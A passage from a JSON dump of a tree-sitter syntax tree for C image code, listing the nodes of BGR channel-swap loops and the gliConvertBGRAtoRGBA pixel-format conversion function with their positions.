29, "column": 10}}, {"id": 79, "type": "identifier", "text": "j", "parent": 78, "children": [], "start_point": {"row": 29, "column": 7}, "end_point": {"row": 29, "column": 8}}, {"id": 80, "type": "=", "text": "=", "parent": 78, "children": [], "start_point": {"row": 29, "column": 8}, "end_point": {"row": 29, "column": 9}}, {"id": 81, "type": "number_literal", "text": "0", "parent": 78, "children": [], "start_point": {"row": 29, "column": 9}, "end_point": {"row": 29, "column": 10}}, {"id": 82, "type": "binary_expression", "text": "j<h", "parent": 77, "children": [83, 84, 85], "start_point": {"row": 29, "column": 12}, "end_point": {"row": 29, "column": 15}}, {"id": 83, "type": "identifier", "text": "j", "parent": 82, "children": [], "start_point": {"row": 29, "column": 12}, "end_point": {"row": 29, "column": 13}}, {"id": 84, "type": "<", "text": "<", "parent": 82, "children": [], "start_point": {"row": 29, "column": 13}, "end_point": {"row": 29, "column": 14}}, {"id": 85, "type": "identifier", "text": "h", "parent": 82, "children": [], "start_point": {"row": 29, "column": 14}, "end_point": {"row": 29, "column": 15}}, {"id": 86, "type": "update_expression", "text": "j++", "parent": 77, "children": [87, 88], "start_point": {"row": 29, "column": 17}, "end_point": {"row": 29, "column": 20}}, {"id": 87, "type": "identifier", "text": "j", "parent": 86, "children": [], "start_point": {"row": 29, "column": 17}, "end_point": {"row": 29, "column": 18}}, {"id": 88, "type": "++", "text": "++", "parent": 86, "children": [], "start_point": {"row": 29, "column": 18}, "end_point": {"row": 29, "column": 20}}, {"id": 89, "type": "for_statement", "text": "for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n }", "parent": 77, "children": [90, 94, 98], "start_point": {"row": 30, "column": 4}, "end_point": {"row": 37, "column": 5}}, {"id": 90, "type": "assignment_expression", "text": "i=0", "parent": 89, "children": [91, 92, 93], "start_point": {"row": 30, "column": 9}, "end_point": {"row": 30, "column": 12}}, {"id": 91, "type": "identifier", "text": "i", "parent": 90, "children": [], "start_point": {"row": 30, "column": 9}, "end_point": {"row": 30, "column": 10}}, {"id": 92, "type": "=", "text": "=", "parent": 90, "children": [], "start_point": {"row": 30, "column": 10}, "end_point": {"row": 30, "column": 11}}, {"id": 93, "type": "number_literal", "text": "0", "parent": 90, "children": [], "start_point": {"row": 30, "column": 11}, "end_point": {"row": 30, "column": 12}}, {"id": 94, "type": "binary_expression", "text": "i<w", "parent": 89, "children": [95, 96, 97], "start_point": {"row": 30, "column": 14}, "end_point": {"row": 30, "column": 17}}, {"id": 95, "type": "identifier", "text": "i", "parent": 94, "children": [], "start_point": {"row": 30, "column": 14}, "end_point": {"row": 30, "column": 15}}, {"id": 96, "type": "<", "text": "<", "parent": 94, "children": [], "start_point": {"row": 30, "column": 15}, "end_point": {"row": 30, "column": 16}}, {"id": 97, "type": "identifier", "text": "w", "parent": 94, "children": [], "start_point": {"row": 30, "column": 16}, "end_point": {"row": 30, "column": 17}}, {"id": 98, "type": "update_expression", "text": "i++", "parent": 89, "children": [99, 100], "start_point": {"row": 30, "column": 19}, "end_point": {"row": 30, "column": 22}}, {"id": 99, "type": "identifier", "text": "i", "parent": 98, "children": [], "start_point": {"row": 30, "column": 19}, "end_point": {"row": 30, "column": 20}}, {"id": 100, "type": "++", "text": "++", "parent": 98, "children": [], "start_point": {"row": 30, "column": 20}, "end_point": {"row": 30, "column": 22}}, {"id": 101, "type": "for_statement", "text": "for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }", "parent": 89, "children": [102, 106, 110], "start_point": {"row": 31, "column": 6}, "end_point": {"row": 33, "column": 7}}, {"id": 102, "type": "assignment_expression", "text": "c=0", "parent": 101, "children": [103, 104, 105], "start_point": {"row": 31, "column": 11}, "end_point": {"row": 31, "column": 14}}, {"id": 103, "type": "identifier", "text": "c", "parent": 102, "children": [], "start_point": {"row": 31, "column": 11}, "end_point": {"row": 31, "column": 12}}, {"id": 104, "type": "=", "text": "=", "parent": 102, "children": [], "start_point": {"row": 31, "column": 12}, "end_point": {"row": 31, "column": 13}}, {"id": 105, "type": "number_literal", "text": "0", "parent": 102, "children": [], "start_point": {"row": 31, "column": 13}, "end_point": {"row": 31, "column": 14}}, {"id": 106, "type": "binary_expression", "text": "c<components", "parent": 101, "children": [107, 108, 109], "start_point": {"row": 31, "column": 16}, "end_point": {"row": 31, "column": 28}}, {"id": 107, "type": "identifier", "text": "c", "parent": 106, "children": [], "start_point": {"row": 31, "column": 16}, "end_point": {"row": 31, "column": 17}}, {"id": 108, "type": "<", "text": "<", "parent": 106, "children": [], "start_point": {"row": 31, "column": 17}, "end_point": {"row": 31, "column": 18}}, {"id": 109, "type": "identifier", "text": "components", "parent": 106, "children": [], "start_point": {"row": 31, "column": 18}, "end_point": {"row": 31, "column": 28}}, {"id": 110, "type": "update_expression", "text": "c++", "parent": 101, "children": [111, 112], "start_point": {"row": 31, "column": 30}, "end_point": {"row": 31, "column": 33}}, {"id": 111, "type": "identifier", "text": "c", "parent": 110, "children": [], "start_point": {"row": 31, "column": 30}, "end_point": {"row": 31, "column": 31}}, {"id": 112, "type": "++", "text": "++", "parent": 110, "children": [], "start_point": {"row": 31, "column": 31}, "end_point": {"row": 31, "column": 33}}, {"id": 113, "type": "assignment_expression", "text": "pixel[c] = pixels[(j*w+i)*components+c]", "parent": 101, "children": [114, 117, 118], "start_point": {"row": 32, "column": 8}, "end_point": {"row": 32, "column": 47}}, {"id": 114, "type": "subscript_expression", "text": "pixel[c]", "parent": 113, "children": [115, 116], "start_point": {"row": 32, "column": 8}, "end_point": {"row": 32, "column": 16}}, {"id": 115, "type": "identifier", "text": "pixel", "parent": 114, "children": [], "start_point": {"row": 32, "column": 8}, "end_point": {"row": 32, "column": 13}}, {"id": 116, "type": "identifier", "text": "c", "parent": 114, "children": [], "start_point": {"row": 32, "column": 14}, "end_point": {"row": 32, "column": 15}}, {"id": 117, "type": "=", "text": "=", "parent": 113, "children": [], "start_point": {"row": 32, "column": 17}, "end_point": {"row": 32, "column": 18}}, {"id": 118, "type": "subscript_expression", "text": "pixels[(j*w+i)*components+c]", "parent": 113, "children": [119, 120], "start_point": {"row": 32, "column": 19}, "end_point": {"row": 32, "column": 47}}, {"id": 119, "type": "identifier", "text": "pixels", "parent": 118, "children": [], "start_point": {"row": 32, "column": 19}, "end_point": {"row": 32, "column": 25}}, {"id": 120, "type": "binary_expression", "text": "(j*w+i)*components+c", "parent": 118, "children": [121, 132, 133], "start_point": {"row": 32, "column": 26}, "end_point": {"row": 32, "column": 46}}, {"id": 121, "type": "binary_expression", "text": "(j*w+i)*components", "parent": 120, "children": [122, 130, 131], "start_point": {"row": 32, "column": 26}, "end_point": {"row": 32, "column": 44}}, {"id": 122, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 121, "children": [123], "start_point": {"row": 32, "column": 26}, "end_point": {"row": 32, "column": 33}}, {"id": 123, "type": "binary_expression", "text": "j*w+i", "parent": 122, "children": [124, 128, 129], "start_point": {"row": 32, "column": 27}, "end_point": {"row": 32, "column": 32}}, {"id": 124, "type": "binary_expression", "text": "j*w", "parent": 123, "children": [125, 126, 127], "start_point": {"row": 32, "column": 27}, "end_point": {"row": 32, "column": 30}}, {"id": 125, "type": "identifier", "text": "j", "parent": 124, "children": [], "start_point": {"row": 32, "column": 27}, "end_point": {"row": 32, "column": 28}}, {"id": 126, "type": "*", "text": "*", "parent": 124, "children": [], "start_point": {"row": 32, "column": 28}, "end_point": {"row": 32, "column": 29}}, {"id": 127, "type": "identifier", "text": "w", "parent": 124, "children": [], "start_point": {"row": 32, "column": 29}, "end_point": {"row": 32, "column": 30}}, {"id": 128, "type": "+", "text": "+", "parent": 123, "children": [], "start_point": {"row": 32, "column": 30}, "end_point": {"row": 32, "column": 31}}, {"id": 129, "type": "identifier", "text": "i", "parent": 123, "children": [], "start_point": {"row": 32, "column": 31}, "end_point": {"row": 32, "column": 32}}, {"id": 130, "type": "*", "text": "*", "parent": 121, "children": [], "start_point": {"row": 32, "column": 33}, "end_point": {"row": 32, "column": 34}}, {"id": 131, "type": "identifier", "text": "components", "parent": 121, "children": [], "start_point": {"row": 32, "column": 34}, "end_point": {"row": 32, "column": 44}}, {"id": 132, "type": "+", "text": "+", "parent": 120, "children": [], "start_point": {"row": 32, "column": 44}, "end_point": {"row": 32, "column": 45}}, {"id": 133, "type": "identifier", "text": "c", "parent": 120, "children": [], "start_point": {"row": 32, "column": 45}, "end_point": {"row": 32, "column": 46}}, {"id": 134, "type": "assignment_expression", "text": "pixels[(j*w+i)*components+0] = pixel[2]", "parent": 89, "children": [135, 151, 152], "start_point": {"row": 34, "column": 6}, "end_point": {"row": 34, "column": 45}}, {"id": 135, "type": "subscript_expression", "text": "pixels[(j*w+i)*components+0]", "parent": 134, "children": [136, 137], "start_point": {"row": 34, "column": 6}, "end_point": {"row": 34, "column": 34}}, {"id": 136, "type": "identifier", "text": "pixels", "parent": 135, "children": [], "start_point": {"row": 34, "column": 6}, "end_point": {"row": 34, "column": 12}}, {"id": 137, "type": "binary_expression", "text": "(j*w+i)*components+0", "parent": 135, "children": [138, 149, 150], "start_point": {"row": 34, "column": 13}, "end_point": {"row": 34, "column": 33}}, {"id": 138, "type": "binary_expression", "text": "(j*w+i)*components", "parent": 137, "children": [139, 147, 148], "start_point": {"row": 34, "column": 13}, "end_point": {"row": 34, "column": 31}}, {"id": 139, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 138, "children": [140], "start_point": {"row": 34, "column": 13}, "end_point": {"row": 34, "column": 20}}, {"id": 140, "type": "binary_expression", "text": "j*w+i", "parent": 139, "children": [141, 145, 146], "start_point": {"row": 34, "column": 14}, "end_point": {"row": 34, "column": 19}}, {"id": 141, "type": "binary_expression", "text": "j*w", "parent": 140, "children": [142, 143, 144], "start_point": {"row": 34, "column": 14}, "end_point": {"row": 34, "column": 17}}, {"id": 142, "type": "identifier", "text": "j", "parent": 141, "children": [], "start_point": {"row": 34, "column": 14}, "end_point": {"row": 34, "column": 15}}, {"id": 143, "type": "*", "text": "*", "parent": 141, "children": [], "start_point": {"row": 34, "column": 15}, "end_point": {"row": 34, "column": 16}}, {"id": 144, "type": "identifier", "text": "w", "parent": 141, "children": [], "start_point": {"row": 34, "column": 16}, "end_point": {"row": 34, "column": 17}}, {"id": 145, "type": "+", "text": "+", "parent": 140, "children": [], "start_point": {"row": 34, "column": 17}, "end_point": {"row": 34, "column": 18}}, {"id": 146, "type": "identifier", "text": "i", "parent": 140, "children": [], "start_point": {"row": 34, "column": 18}, "end_point": {"row": 34, "column": 19}}, {"id": 147, "type": "*", "text": "*", "parent": 138, "children": [], "start_point": {"row": 34, "column": 20}, "end_point": {"row": 34, "column": 21}}, {"id": 148, "type": "identifier", "text": "components", "parent": 138, "children": [], "start_point": {"row": 34, "column": 21}, "end_point": {"row": 34, "column": 31}}, {"id": 149, "type": "+", "text": "+", "parent": 137, "children": [], "start_point": {"row": 34, "column": 31}, "end_point": {"row": 34, "column": 32}}, {"id": 150, "type": "number_literal", "text": "0", "parent": 137, "children": [], "start_point": {"row": 34, "column": 32}, "end_point": {"row": 34, "column": 33}}, {"id": 151, "type": "=", "text": "=", "parent": 134, "children": [], "start_point": {"row": 34, "column": 35}, "end_point": {"row": 34, "column": 36}}, {"id": 152, "type": "subscript_expression", "text": "pixel[2]", "parent": 134, "children": [153, 154], "start_point": {"row": 34, "column": 37}, "end_point": {"row": 34, "column": 45}}, {"id": 153, "type": "identifier", "text": "pixel", "parent": 152, "children": [], "start_point": {"row": 34, "column": 37}, "end_point": {"row": 34, "column": 42}}, {"id": 154, "type": "number_literal", "text": "2", "parent": 152, "children": [], "start_point": {"row": 34, "column": 43}, "end_point": {"row": 34, "column": 44}}, {"id": 155, "type": "assignment_expression", "text": "pixels[(j*w+i)*components+1] = pixel[1]", "parent": 89, "children": [156, 172, 173], "start_point": {"row": 35, "column": 6}, "end_point": {"row": 35, "column": 45}}, {"id": 156, "type": "subscript_expression", "text": "pixels[(j*w+i)*components+1]", "parent": 155, "children": [157, 158], "start_point": {"row": 35, "column": 6}, "end_point": {"row": 35, "column": 34}}, {"id": 157, "type": "identifier", "text": "pixels", "parent": 156, "children": [], "start_point": {"row": 35, "column": 6}, "end_point": {"row": 35, "column": 12}}, {"id": 158, "type": "binary_expression", "text": "(j*w+i)*components+1", "parent": 156, "children": [159, 170, 171], "start_point": {"row": 35, "column": 13}, "end_point": {"row": 35, "column": 33}}, {"id": 159, "type": "binary_expression", "text": "(j*w+i)*components", "parent": 158, "children": [160, 168, 169], "start_point": {"row": 35, "column": 13}, "end_point": {"row": 35, "column": 31}}, {"id": 160, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 159, "children": [161], "start_point": {"row": 35, "column": 13}, "end_point": {"row": 35, "column": 20}}, {"id": 161, "type": "binary_expression", "text": "j*w+i", "parent": 160, "children": [162, 166, 167], "start_point": {"row": 35, "column": 14}, "end_point": {"row": 35, "column": 19}}, {"id": 162, "type": "binary_expression", "text": "j*w", "parent": 161, "children": [163, 164, 165], "start_point": {"row": 35, "column": 14}, "end_point": {"row": 35, "column": 17}}, {"id": 163, "type": "identifier", "text": "j", "parent": 162, "children": [], "start_point": {"row": 35, "column": 14}, "end_point": {"row": 35, "column": 15}}, {"id": 164, "type": "*", "text": "*", "parent": 162, "children": [], "start_point": {"row": 35, "column": 15}, "end_point": {"row": 35, "column": 16}}, {"id": 165, "type": "identifier", "text": "w", "parent": 162, "children": [], "start_point": {"row": 35, "column": 16}, "end_point": {"row": 35, "column": 17}}, {"id": 166, "type": "+", "text": "+", "parent": 161, "children": [], "start_point": {"row": 35, "column": 17}, "end_point": {"row": 35, "column": 18}}, {"id": 167, "type": "identifier", "text": "i", "parent": 161, "children": [], "start_point": {"row": 35, "column": 18}, "end_point": {"row": 35, "column": 19}}, {"id": 168, "type": "*", "text": "*", "parent": 159, "children": [], "start_point": {"row": 35, "column": 20}, "end_point": {"row": 35, "column": 21}}, {"id": 169, "type": "identifier", "text": "components", "parent": 159, "children": [], "start_point": {"row": 35, "column": 21}, "end_point": {"row": 35, "column": 31}}, {"id": 170, "type": "+", "text": "+", "parent": 158, "children": [], "start_point": {"row": 35, "column": 31}, "end_point": {"row": 35, "column": 32}}, {"id": 171, "type": "number_literal", "text": "1", "parent": 158, "children": [], "start_point": {"row": 35, "column": 32}, "end_point": {"row": 35, "column": 33}}, {"id": 172, "type": "=", "text": "=", "parent": 155, "children": [], "start_point": {"row": 35, "column": 35}, "end_point": {"row": 35, "column": 36}}, {"id": 173, "type": "subscript_expression", "text": "pixel[1]", "parent": 155, "children": [174, 175], "start_point": {"row": 35, "column": 37}, "end_point": {"row": 35, "column": 45}}, {"id": 174, "type": "identifier", "text": "pixel", "parent": 173, "children": [], "start_point": {"row": 35, "column": 37}, "end_point": {"row": 35, "column": 42}}, {"id": 175, "type": "number_literal", "text": "1", "parent": 173, "children": [], "start_point": {"row": 35, "column": 43}, "end_point": {"row": 35, "column": 44}}, {"id": 176, "type": "assignment_expression", "text": "pixels[(j*w+i)*components+2] = pixel[0]", "parent": 89, "children": [177, 193, 194], "start_point": {"row": 36, "column": 6}, "end_point": {"row": 36, "column": 45}}, {"id": 177, "type": "subscript_expression", "text": "pixels[(j*w+i)*components+2]", "parent": 176, "children": [178, 179], "start_point": {"row": 36, "column": 6}, "end_point": {"row": 36, "column": 34}}, {"id": 178, "type": "identifier", "text": "pixels", "parent": 177, "children": [], "start_point": {"row": 36, "column": 6}, "end_point": {"row": 36, "column": 12}}, {"id": 179, "type": "binary_expression", "text": "(j*w+i)*components+2", "parent": 177, "children": [180, 191, 192], "start_point": {"row": 36, "column": 13}, "end_point": {"row": 36, "column": 33}}, {"id": 180, "type": "binary_expression", "text": "(j*w+i)*components", "parent": 179, "children": [181, 189, 190], "start_point": {"row": 36, "column": 13}, "end_point": {"row": 36, "column": 31}}, {"id": 181, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 180, "children": [182], "start_point": {"row": 36, "column": 13}, "end_point": {"row": 36, "column": 20}}, {"id": 182, "type": "binary_expression", "text": "j*w+i", "parent": 181, "children": [183, 187, 188], "start_point": {"row": 36, "column": 14}, "end_point": {"row": 36, "column": 19}}, {"id": 183, "type": "binary_expression", "text": "j*w", "parent": 182, "children": [184, 185, 186], "start_point": {"row": 36, "column": 14}, "end_point": {"row": 36, "column": 17}}, {"id": 184, "type": "identifier", "text": "j", "parent": 183, "children": [], "start_point": {"row": 36, "column": 14}, "end_point": {"row": 36, "column": 15}}, {"id": 185, "type": "*", "text": "*", "parent": 183, "children": [], "start_point": {"row": 36, "column": 15}, "end_point": {"row": 36, "column": 16}}, {"id": 186, "type": "identifier", "text": "w", "parent": 183, "children": [], "start_point": {"row": 36, "column": 16}, "end_point": {"row": 36, "column": 17}}, {"id": 187, "type": "+", "text": "+", "parent": 182, "children": [], "start_point": {"row": 36, "column": 17}, "end_point": {"row": 36, "column": 18}}, {"id": 188, "type": "identifier", "text": "i", "parent": 182, "children": [], "start_point": {"row": 36, "column": 18}, "end_point": {"row": 36, "column": 19}}, {"id": 189, "type": "*", "text": "*", "parent": 180, "children": [], "start_point": {"row": 36, "column": 20}, "end_point": {"row": 36, "column": 21}}, {"id": 190, "type": "identifier", "text": "components", "parent": 180, "children": [], "start_point": {"row": 36, "column": 21}, "end_point": {"row": 36, "column": 31}}, {"id": 191, "type": "+", "text": "+", "parent": 179, "children": [], "start_point": {"row": 36, "column": 31}, "end_point": {"row": 36, "column": 32}}, {"id": 192, "type": "number_literal", "text": "2", "parent": 179, "children": [], "start_point": {"row": 36, "column": 32}, "end_point": {"row": 36, "column": 33}}, {"id": 193, "type": "=", "text": "=", "parent": 176, "children": [], "start_point": {"row": 36, "column": 35}, "end_point": {"row": 36, "column": 36}}, {"id": 194, "type": "subscript_expression", "text": "pixel[0]", "parent": 176, "children": [195, 196], "start_point": {"row": 36, "column": 37}, "end_point": {"row": 36, "column": 45}}, {"id": 195, "type": "identifier", "text": "pixel", "parent": 194, "children": [], "start_point": {"row": 36, "column": 37}, "end_point": {"row": 36, "column": 42}}, {"id": 196, "type": "number_literal", "text": "0", "parent": 194, "children": [], "start_point": {"row": 36, "column": 43}, "end_point": {"row": 36, "column": 44}}, {"id": 197, "type": "function_definition", "text": "void\ngliConvertBGRAtoRGBA(gliGenericImage *image)\n{\n const int components = 4;\n GLubyte pixel[4];\n int w, h;\n GLubyte *pixels;\n GLubyte *spixels, spixel[2];\n int i, j, c;\n\n w = image->width;\n h = image->height;\n pixels = image->pixels;\n\n assert(image->format == GL_BGRA_EXT);\n \n switch (image->type) {\n case GL_UNSIGNED_BYTE:\n image->format = GL_RGBA;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n pixels[(j*w+i)*components+3] = pixel[3];\n }\n }\n break;\n case GL_UNSIGNED_SHORT_1_5_5_5_REV:\n assert(image->type == GL_UNSIGNED_SHORT_1_5_5_5_REV);\n if (image->components == 4) {\n image->format = GL_RGBA;\n spixels = (GLubyte*) image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 4);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n \n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*components+0] = red;\n pixels[(j*w+i)*components+1] = green;\n pixels[(j*w+i)*components+2] = blue;\n pixels[(j*w+i)*components+3] = 0xff;\n }\n }\n } else {\n assert(image->components == 3);\n image->format = GL_RGB;\n spixels = image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 3);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n\n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*3+0] = red;\n pixels[(j*w+i)*3+1] = green;\n pixels[(j*w+i)*3+2] = blue;\n }\n }\n }\n image->type = GL_UNSIGNED_BYTE;\n free(spixels);\n break;\n default:\n assert(0);\n break;\n }\n}", "parent": null, "children": [198, 199], "start_point": {"row": 41, "column": 0}, "end_point": {"row": 136, "column": 1}}, {"id": 198, "type": "primitive_type", "text": "void", "parent": 197, "children": [], "start_point": {"row": 41, "column": 0}, "end_point": {"row": 41, "column": 4}}, {"id": 199, "type": "function_declarator", "text": "gliConvertBGRAtoRGBA(gliGenericImage *image)", "parent": 197, "children": [200, 201], "start_point": {"row": 42, "column": 0}, "end_point": {"row": 42, "column": 44}}, {"id": 200, "type": "identifier", "text": "gliConvertBGRAtoRGBA", "parent": 199, "children": [], "start_point": {"row": 42, "column": 0}, "end_point": {"row": 42, "column": 20}}, {"id": 201, "type": "parameter_list", "text": "(gliGenericImage *image)", "parent": 199, "children": [202], "start_point": {"row": 42, "column": 20}, "end_point": {"row": 42, "column": 44}}, {"id": 202, "type": "parameter_declaration", "text": "gliGenericImage *image", "parent": 201, "children": [203, 204], "start_point": {"row": 42, "column": 21}, "end_point": {"row": 42, "column": 43}}, {"id": 203, "type": "type_identifier", "text": "gliGenericImage", "parent": 202, "children": [], "start_point": {"row": 42, "column": 21}, "end_point": {"row": 42, "column": 36}}, {"id": 204, "type": "pointer_declarator", "text": "*image", "parent": 202, "children": [205, 206], "start_point": {"row": 42, "column": 37}, "end_point": {"row": 42, "column": 43}}, {"id": 205, "type": "*", "text": "*", "parent": 204, "children": [], "start_point": {"row": 42, "column": 37}, "end_point": {"row": 42, "column": 38}}, {"id": 206, "type": "identifier", "text": "image", "parent": 204, "children": [], "start_point": {"row": 42, "column": 38}, "end_point": {"row": 42, "column": 43}}, {"id": 207, "type": "declaration", "text": "const int components = 4;", "parent": 197, "children": [208, 209], "start_point": {"row": 44, "column": 2}, "end_point": {"row": 44, "column": 27}}, {"id": 208, "type": "primitive_type", "text": "int", "parent": 207, "children": [], "start_point": {"row": 44, "column": 8}, "end_point": {"row": 44, "column": 11}}, {"id": 209, "type": "init_declarator", "text": "components = 4", "parent": 207, "children": [210, 211, 212], "start_point": {"row": 44, "column": 12}, "end_point": {"row": 44, "column": 26}}, {"id": 210, "type": "identifier", "text": "components", "parent": 209, "children": [], "start_point": {"row": 44, "column": 12}, "end_point": {"row": 44, "column": 22}}, {"id": 211, "type": "=", "text": "=", "parent": 209, "children": [], "start_point": {"row": 44, "column": 23}, "end_point": {"row": 44, "column": 24}}, {"id": 212, "type": "number_literal", "text": "4", "parent": 209, "children": [], "start_point": {"row": 44, "column": 25}, "end_point": {"row": 44, "column": 26}}, {"id": 213, "type": "declaration", "text": "GLubyte pixel[4];", "parent": 197, "children": [214, 215], "start_point": {"row": 45, "column": 2}, "end_point": {"row": 45, "column": 19}}, {"id": 214, "type": "type_identifier", "text": "GLubyte", "parent": 213, "children": [], "start_point": {"row": 45, "column": 2}, "end_point": {"row": 45, "column": 9}}, {"id": 215, "type": "array_declarator", "text": "pixel[4]", "parent": 213, "children": [216, 217], "start_point": {"row": 45, "column": 10}, "end_point": {"row": 45, "column": 18}}, {"id": 216, "type": "identifier", "text": "pixel", "parent": 215, "children": [], "start_point": {"row": 45, "column": 10}, "end_point": {"row": 45, "column": 15}}, {"id": 217, "type": "number_literal", "text": "4", "parent": 215, "children": [], "start_point": {"row": 45, "column": 16}, "end_point": {"row": 45, "column": 17}}, {"id": 218, "type": "declaration", "text": "int w, h;", "parent": 197, "children": [219, 220, 221], "start_point": {"row": 46, "column": 2}, "end_point": {"row": 46, "column": 11}}, {"id": 219, "type": "primitive_type", "text": "int", "parent": 218, "children": [], "start_point": {"row": 46, "column": 2}, "end_point": {"row": 46, "column": 5}}, {"id": 220, "type": "identifier", "text": "w", "parent": 218, "children": [], "start_point": {"row": 46, "column": 6}, "end_point": {"row": 46, "column": 7}}, {"id": 221, "type": "identifier", "text": "h", "parent": 218, "children": [], "start_point": {"row": 46, "column": 9}, "end_point": {"row": 46, "column": 10}}, {"id": 222, "type": "declaration", "text": "GLubyte *pixels;", "parent": 197, "children": [223, 224], "start_point": {"row": 47, "column": 2}, "end_point": {"row": 47, "column": 18}}, {"id": 223, "type": "type_identifier", "text": "GLubyte", "parent": 222, "children": [], "start_point": {"row": 47, "column": 2}, "end_point": {"row": 47, "column": 9}}, {"id": 224, "type": "pointer_declarator", "text": "*pixels", "parent": 222, "children": [225, 226], "start_point": {"row": 47, "column": 10}, "end_point": {"row": 47, "column": 17}}, {"id": 225, "type": "*", "text": "*", "parent": 224, "children": [], "start_point": {"row": 47, "column": 10}, "end_point": {"row": 47, "column": 11}}, {"id": 226, "type": "identifier", "text": "pixels", "parent": 224, "children": [], "start_point": {"row": 47, "column": 11}, "end_point": {"row": 47, "column": 17}}, {"id": 227, "type": "declaration", "text": "GLubyte *spixels, spixel[2];", "parent": 197, "children": [228, 229, 232], "start_point": {"row": 48, "column": 2}, "end_point": {"row": 48, "column": 30}}, {"id": 228, "type": "type_identifier", "text": "GLubyte", "parent": 227, "children": [], "start_point": {"row": 48, "column": 2}, "end_point": {"row": 48, "column": 9}}, {"id": 229, "type": "pointer_declarator", "text": "*spixels", "parent": 227, "children": [230, 231], "start_point": {"row": 48, "column": 10}, "end_point": {"row": 48, "column": 18}}, {"id": 230, "type": "*", "text": "*", "parent": 229, "children": [], "start_point": {"row": 48, "column": 10}, "end_point": {"row": 48, "column": 11}}, {"id": 231, "type": "identifier", "text": "spixels", "parent": 229, "children": [], "start_point": {"row": 48, "column": 11}, "end_point": {"row": 48, "column": 18}}, {"id": 232, "type": "array_declarator", "text": "spixel[2]", "parent": 227, "children": [233, 234], "start_point": {"row": 48, "column": 20}, "end_point": {"row": 48, "column": 29}}, {"id": 233, "type": "identifier", "text": "spixel", "parent": 232, "children": [], "start_point": {"row": 48, "column": 20}, "end_point": {"row": 48, "column": 26}}, {"id": 234, "type": "number_literal", "text": "2", "parent": 232, "children": [], "start_point": {"row": 48, "column": 27}, "end_point": {"row": 48, "column": 28}}, {"id": 235, "type": "declaration", "text": "int i, j, c;", "parent": 197, "children": [236, 237, 238, 239], "start_point": {"row": 49, "column": 2}, "end_point": {"row": 49, "column": 14}}, {"id": 236, "type": "primitive_type", "text": "int", "parent": 235, "children": [], "start_point": {"row": 49, "column": 2}, "end_point": {"row": 49, "column": 5}}, {"id": 237, "type": "identifier", "text": "i", "parent": 235, "children": [], "start_point": {"row": 49, "column": 6}, "end_point": {"row": 49, "column": 7}}, {"id": 238, "type": "identifier", "text": "j", "parent": 235, "children": [], "start_point": {"row": 49, "column": 9}, "end_point": {"row": 49, "column": 10}}, {"id": 239, "type": "identifier", "text": "c", "parent": 235, "children": [], "start_point": {"row": 49, "column": 12}, "end_point": {"row": 49, "column": 13}}, {"id": 240, "type": "assignment_expression", "text": "w = image->width", "parent": 197, "children": [241, 242, 243], "start_point": {"row": 51, "column": 2}, "end_point": {"row": 51, "column": 18}}, {"id": 241, "type": "identifier", "text": "w", "parent": 240, "children": [], "start_point": {"row": 51, "column": 2}, "end_point": {"row": 51, "column": 3}}, {"id": 242, "type": "=", "text": "=", "parent": 240, "children": [], "start_point": {"row": 51, "column": 4}, "end_point": {"row": 51, "column": 5}}, {"id": 243, "type": "field_expression", "text": "image->width", "parent": 240, "children": [244, 245], "start_point": {"row": 51, "column": 6}, "end_point": {"row": 51, "column": 18}}, {"id": 244, "type": "identifier", "text": "image", "parent": 243, "children": [], "start_point": {"row": 51, "column": 6}, "end_point": {"row": 51, "column": 11}}, {"id": 245, "type": "field_identifier", "text": "width", "parent": 243, "children": [], "start_point": {"row": 51, "column": 13}, "end_point": {"row": 51, "column": 18}}, {"id": 246, "type": "assignment_expression", "text": "h = image->height", "parent": 197, "children": [247, 248, 249], "start_point": {"row": 52, "column": 2}, "end_point": {"row": 52, "column": 19}}, {"id": 247, "type": "identifier", "text": "h", "parent": 246, "children": [], "start_point": {"row": 52, "column": 2}, "end_point": {"row": 52, "column": 3}}, {"id": 248, "type": "=", "text": "=", "parent": 246, "children": [], "start_point": {"row": 52, "column": 4}, "end_point": {"row": 52, "column": 5}}, {"id": 249, "type": "field_expression", "text": "image->height", "parent": 246, "children": [250, 251], "start_point": {"row": 52, "column": 6}, "end_point": {"row": 52, "column": 19}}, {"id": 250, "type": "identifier", "text": "image", "parent": 249, "children": [], "start_point": {"row": 52, "column": 6}, "end_point": {"row": 52, "column": 11}}, {"id": 251, "type": "field_identifier", "text": "height", "parent": 249, "children": [], "start_point": {"row": 52, "column": 13}, "end_point": {"row": 52, "column": 19}}, {"id": 252, "type": "assignment_expression", "text": "pixels = image->pixels", "parent": 197, "children": [253, 254, 